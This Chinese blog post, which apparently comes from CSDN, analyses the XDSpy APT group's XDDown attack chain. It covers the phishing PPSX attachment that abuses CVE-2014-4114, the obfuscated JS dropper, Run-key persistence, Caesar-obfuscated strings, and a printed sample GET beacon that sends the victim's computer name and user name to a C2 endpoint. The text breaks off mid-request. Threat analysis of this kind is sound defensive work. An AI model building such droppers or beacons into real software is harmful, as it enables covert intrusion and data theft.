隐身9年的俄罗斯APT组织XDSpy及其XDDown攻击链分析

本文深入分析了一个名为XDSpy的俄罗斯APT组织,其利用钓鱼邮件和恶意PPSX附件发动XDDown攻击。攻击流程涉及JavaScript脚本MicrosoftPowerPoint.js释放恶意可执行文件,通过CVE-2014-4114漏洞执行。攻击者通过创建互斥体、读取文件、网络通信等方式维持持久性和隐蔽性。此外,文章还探讨了攻击链中的关键技术和关联分析。
摘要由CSDN通过智能技术生成

样本分析

投递手法 - 钓鱼邮件+恶意附件压缩包
通过钓鱼邮件投递针对俄罗斯人的邮件,以失物认领为主题的武器化PPSX格式的附件,诱骗收件人下载打开,打开后会执行JS脚本“MicrosoftPowerPoint.js”,释放并执行PE文件:
在这里插入图片描述

执行流程

在这里插入图片描述

样本详细分析

钓鱼邮件恶意附件PPSX

由于PPSX格式的攻击载荷比较少见,此处简单介绍一下该格式与PPTX格式的区别:

PPTX:普通可编辑模式。打开后呈现的页面就是可编辑的页面,要播放需要单击播放按钮才能全屏播放。
PPSX:放映格式。打开后直接就是全屏放映,没法编辑。

即:PPTX全屏放映的时候就是PPSX的样子,但是PPSX是没法直接编辑的,打开就是全屏放映,放映结束后直接退出。
通过修改PPSX文件的后缀名为“PPT”进入查看格式,可以清楚的看到,在第一张幻灯片出有一“动画”效果的设置,并有一对象被缩小到极致,放在首页全黑的幻灯片外:
在这里插入图片描述
放大后发现这是一个名为“MicrosoftPowerPoint.js”的“Packager Shell Object对象”:
在这里插入图片描述
该执行方式,搜索后发现是Windows OLE 远程执行代码漏洞CVE-2014-4114:
在这里插入图片描述
通过文件路径“C:\Users\As\AppData\Local\Temp\MicrosoftPowerPoint.js”可以发现计算机使用者的用户名是“As”:
在这里插入图片描述

自动播放的恶意对象MicrosoftPowerPoint.js

该脚本文件是一个经过混淆的Dropper脚本:
在这里插入图片描述
将其还原之后主要功能如下:

1.Base64编码处理后的PE文件数据,其中部分字母被转换为10进制
2.拼凑出工作目录字符串“%APPDATA%\WINinit”,检测是否存在该路径,不存在则创建该目录
3.拼凑出文件字符串“%APPDATA%\WINinit\orsnet”和“%APPDATA%\WINinit\WINlogon.exe”,并检测是否存在。如果不存在:将PE文件的数据保存到“%APPDATA%\WINinit\orsnet”,后移动到“%APPDATA%\WINinit\WINlogon.exe”
4.“%APPDATA%\WINinit\WINlogon.exe”将写入注册表“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit”
5.运行“WINlogon.exe”

脚本对象释放的恶意可执行文件WINlogon.exe

创建互斥体“winsysmcc”,保持运行的唯一性。接着获取计算机名和用户名进行拼接,为了规避检测,将该字符串进行简单的恺撒加密处理(将(B-Y,b-y,1-8)都后移一位,如C→D),写入到文件“%AppData%\Explorer\idf.dat”中:
在这里插入图片描述
同样的,为了反静态编译,该程序使用的大多字符串经过恺撒加密。
然后会以读取模式尝试打开文件“%AppData%\Explorer\slp.dat”,由于本程序中无对该文件的写入模式打开的代码,以及其中数据的使用代码,和文件名,故推测为其他组件写入的控制休眠时间的配置文件(slp = Sleep):
在这里插入图片描述
再接着以读取模式尝试打开文件“%AppData%\Explorer\adrun.dat”,依旧推测为其他组件写入的配置文件,用来存放需要自动运行的程序路径。其中数据存放的结构为两位的字段+“ShellExecuteW需要运行的文件名”(adrun = AddRun,路径依旧为工作目录“%AppData%\Explorer\”):
在这里插入图片描述
执行完这些本地文件的操作后,调用“CreateThread”执行线程,线程主要功能以网络通信为主。

负责网络通信的线程

运行解密出数据段中的字符串后拼凑出HTTP报文:
在这里插入图片描述
向远程服务器的“/whowhat.php”接口,发送上线包,传递受感染计算机的信息。构建的GET方法的报文内容如下,“me”字段的信息为计算机标识,结构为[凯撒加密后的ComputerName]_[凯撒加密后的UserName][Tick_Count]V7,其中的V7结合以往历史样本分析,推测为程序的内部版本标识,下文的溯源部分再详细展开:

GET /whowhat.php?me=DPNQVUFSOBNF_1375866V7 HTTP/1.1
Accept-Language: ru
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值